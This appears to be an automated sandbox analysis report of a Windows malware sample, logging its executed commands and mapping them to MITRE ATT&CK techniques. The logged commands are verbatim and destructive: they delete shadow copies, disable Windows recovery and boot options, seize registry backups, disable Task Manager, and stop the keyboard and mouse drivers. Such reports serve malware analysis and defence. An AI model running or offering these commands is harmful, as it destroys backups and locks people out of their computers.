C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1996

C:\Windows\system32\ReAgentc.exe
reagentc /disable
1⤵
- Drops file in Windows directory
PID:3480

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:3464

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootstatuspolicy ignoreallfailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3632

C:\Windows\System32\Wbem\WMIC.exe
wmic recoveros set AutoReboot = False
1⤵
PID:4452

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\RegBack /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4700

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\RegBack /grant administrators:F /t
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:740

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:3248

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:960

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\FilterKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2460

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:768

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2108

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:4640

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:1620

C:\Windows\system32\sc.exe
sc config kbdclass start= disabled
1⤵
- Launches sc.exe
PID:4572

C:\Windows\system32\sc.exe
sc stop kbdclass
1⤵
- Launches sc.exe
PID:3152

C:\Windows\system32\sc.exe
sc config mouclass start= disabled
1⤵
- Launches sc.exe
PID:992

C:\Windows\system32\sc.exe
sc stop mouclass
1⤵
- Launches sc.exe
PID:1096

C:\Windows\system32\sc.exe
sc config kbdhid start= disabled
1⤵
- Launches sc.exe
PID:4968

C:\Windows\system32\sc.exe
sc stop kbdhid
1⤵
- Launches sc.exe
PID:4804

C:\Windows\system32\sc.exe
sc config mouhid start= disabled
1⤵
- Launches sc.exe
PID:4224

C:\Windows\system32\sc.exe
sc stop mouhid
1⤵
- Launches sc.exe
PID:2296

C:\Windows\system32\bcdedit.exe
bcdedit /set {globalsettings} advancedoptions false
1⤵
- Modifies boot configuration data using bcdedit
PID:3868

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} safeboot minimal
1⤵
- Modifies boot configuration data using bcdedit
PID:4784

C:\Windows\system32\bcdedit.exe
bcdedit /deletevalue {current} safeboot
1⤵
- Modifies boot configuration data using bcdedit
PID:2720

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootmenupolicy legacy
1⤵
- Modifies boot configuration data using bcdedit
PID:1608

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry